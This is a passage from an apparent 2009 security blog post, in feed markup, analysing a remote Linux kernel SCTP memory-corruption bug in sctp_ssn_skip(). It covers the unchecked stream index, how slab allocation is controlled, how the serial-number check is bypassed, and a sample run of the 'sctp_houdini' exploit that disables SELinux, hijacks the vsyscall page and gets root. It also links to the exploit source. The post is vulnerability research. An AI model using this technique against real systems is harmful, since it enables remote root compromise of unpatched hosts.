one-shot always), given that you know the target kernel. I tested it on Ubuntu 8.04 and Ubuntu 8.10&lt;br /&gt;server boxes running with different kernels (ubuntu kernel for amd64) and on OpenSuse11.1 and a Fedora Core 10 (yes, extra-brownie points here, it works great on Selinux too). ...&lt;br /&gt;&lt;br /&gt;I dont want to talk about the exploit, because the code should be self explanatory, but i'd like to briefly explore the vulnerability:&lt;br /&gt;&lt;br /&gt;From an exploit writer point of view, the most critical points are: where the memory corruption occurs, when it occurs and what type of data structures are involved. The code that triggers the overflow is on sctp_ssn_skip() in the file: /net/sctp/structs.h:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt; &lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;void sctp_ssn_skip(struct sctp_stream *stream, __u16 id, __u16 ssn)&lt;br /&gt;{&lt;br /&gt;stream-&gt;ssn[id] = ssn+1;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Parameter "id" is not checked and later used as an index referenced by stream-&gt;ssn pointer: a 16bit value.&lt;br /&gt;We can only overwrite memory _close_ the the struct involved.&lt;br /&gt;&lt;br /&gt;Let's take a look at the sctp_stream structure and its stream pointer..&lt;br /&gt;sctp_ssnmap_new() and sctp_ssnmap_init() function are in &lt;span style="font-style: italic;"&gt;/net/sctp/ssnmap.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Structures involved  in streams mapping are:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;struct sctp_stream {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;__u16 *ssn;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;unsigned int len;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;};&lt;/span&gt;&lt;/span&gt;&lt;div style="text-align: left; font-style: italic;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;struct sctp_ssnmap {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;struct sctp_stream in;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;struct sctp_stream out;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;int malloced;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;};&lt;/span&gt;&lt;br /&gt;&lt;/span&gt; &lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The code that allocates them is the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;font-size:85%;"  &gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;#define MAX_KMALLOC_SIZE        131072 //0x20000&lt;br /&gt;...&lt;br /&gt;size = sctp_ssnmap_size(in, out);&lt;br /&gt;if (size &lt;= MAX_KMALLOC_SIZE)                  retval = kmalloc(size, gfp);&lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;font-size:85%;"  &gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If the size is under the MAX_KMALLOC_SIZE threshold the function dynamically allocates the sctp_ssnmap struct using as a parameter the number of in and out streams.&lt;br /&gt;That's good news! Manipulating sctp handshake options we can arbitrary (if the sctp application has no application-level checks on, f.e., the number of simultaneously opened SCTP streams) decide the slab that will be used to allocate the chunk.&lt;br /&gt;&lt;br /&gt;Immediately after that, the function calls &lt;span style="font-style: italic;"&gt;sctp_ssnmap_init()&lt;/span&gt; to initialize in/out stream pointers:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;static struct sctp_ssnmap *sctp_ssnmap_init(struct sctp_ssnmap *map, __u16 in, __u16 out)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        memset(map, 0x00, sctp_ssnmap_size(in, out));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        /* Start 'in' stream just after the map header. */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;       &lt;span style="font-weight: bold;"&gt;map-&gt;in.ssn = (__u16 *)&amp;amp;map[1]; &lt;--- stream in init&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;       map-&gt;in.len = in;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        /* Start 'out' stream just after 'in'. */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;       map-&gt;out.ssn = &amp;amp;map-&gt;in.ssn[in];  &lt;--- stream out init&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;       map-&gt;out.len = out;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        return map;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; }&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Again, good news. The stream pointers are self-contained. They point inside the previously allocated buffer, and more precisely the input stream is located exactly after the header.  No &lt;span style="font-style: italic;"&gt;kfree()&lt;/span&gt; will ever be called on these pointers: in other words they are a safe place to overwrite, and there's no need to worry about post-exploitation recovery.&lt;br /&gt;&lt;br /&gt;The last thing that may complicate a bit the exploit is a check that the kernel makes before invoking &lt;span style="font-style: italic;"&gt;sctp_ssn_skip():&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;/net/sctp/ulpqueue.c: sctp_ulpk_skip() :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        if (SSN_lt(ssn, sctp_ssn_peek(in, sid))) &lt;--- check&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                return;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         /* Mark that we are no longer expecting this SSN or lower. */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         sctp_ssn_skip(in, sid, ssn);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;with &lt;span style="font-style: italic;"&gt;SSN_lt():&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;enum {&lt;br /&gt;SSN_SIGN_BIT = (1&lt;&lt;15)&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Strictly speaking this code checks if the value we are overwriting (the old SSN content) is greater or equal to the new value: if so it doesn't process the FWD chunk.  The comparison here is made using Serial Number Arithmetic (like the one used for protocol sequence number (eg. tcp seq number)) and can be fooled writing multiple chunks until it legally wraps around to a well known defined value.&lt;br /&gt;&lt;br /&gt;Then, at this point, if we know the target running kernel, we can:&lt;br /&gt;&lt;br /&gt;1) Control the slab/slub to be used&lt;br /&gt;2) Overwrite a safe pointer close to the overflowing buffer&lt;br /&gt;3) Easily control overwritten data..&lt;br /&gt;&lt;br /&gt;.. in other words..&lt;br /&gt;..&lt;br /&gt;#./sctp_houdini -H 192.168.200.1 -P 5555  -h 192.168.200.10 -p 20000 -s 15000 -c 700 -t fedora64_10-2.6.25-117&lt;br /&gt;[**] Monitoring Network for TSN/VTAG pairs..&lt;br /&gt;[**] Start flushing slub cache...&lt;br /&gt;[**] Using TSN/VTAG pairs: (TSN: 28022e8 &lt;=&gt; VTAG: 41fdd4fb) / (TSN: 8cafd3ae &lt;=&gt; VTAG: 1a99396c)...&lt;br /&gt;[**] Overwriting neightboard sctp map..&lt;br /&gt;[**] Disabling Selinux Enforcing Mode..&lt;br /&gt;[**] Overwriting neightboard sctp map ......&lt;br /&gt;[**] Overwriting vsyscall shadow map..&lt;br /&gt;[**] Hijacking vsyscall shadow map..&lt;br /&gt;[**] Waiting daemons executing gettimeofday().. this can take up to one minute...&lt;br /&gt;[**] ....&lt;br /&gt;[**] Connected!&lt;br /&gt;[**] Restoring vsys: Emulate gettimeofday()...&lt;br /&gt;uid=0(root) gid=0(root) groups=51(smmsp) context=system_u:system_r:sendmail_t:s0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;GAME OVER&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The exploit code can be downloaded &lt;a style="font-weight: bold;" href="http://sgrakkyu.antifork.org/sctp_houdini.c"&gt;here&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4807890350046901892-4081104333477452724?l=kernelbof.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kernelbof.blogspot.com/feeds/4081104333477452724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kernelbof.blogspot.com/2009/04/kernel-memory-corruptions-are-not-just.html#comment-form' title='49 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4807890350046901892/posts/default/4081104333477452724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4807890350046901892/posts/default/4081104333477452724'/><link rel='alternate' type='text/html' href='http://kernelbof.blogspot.com/2009/04/kernel-memory-corruptions-are-not-just.html' title='When a &quot;potential D.o.S.&quot; means a one-shot remote kernel exploit: the SCTP story'/><author><name>sgrakkyu</name><uri>http://www.blogger.com/profile/05705465328555558803</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='17' src='http://3.bp.blogspot.com/_w2Wa_-5lz3w/SfXrjxKUslI/AAAAAAAAAAM/yC7p_wa1zB8/S220/screen-capture.png'/></author><thr:total>49</thr:total></entry></feed>
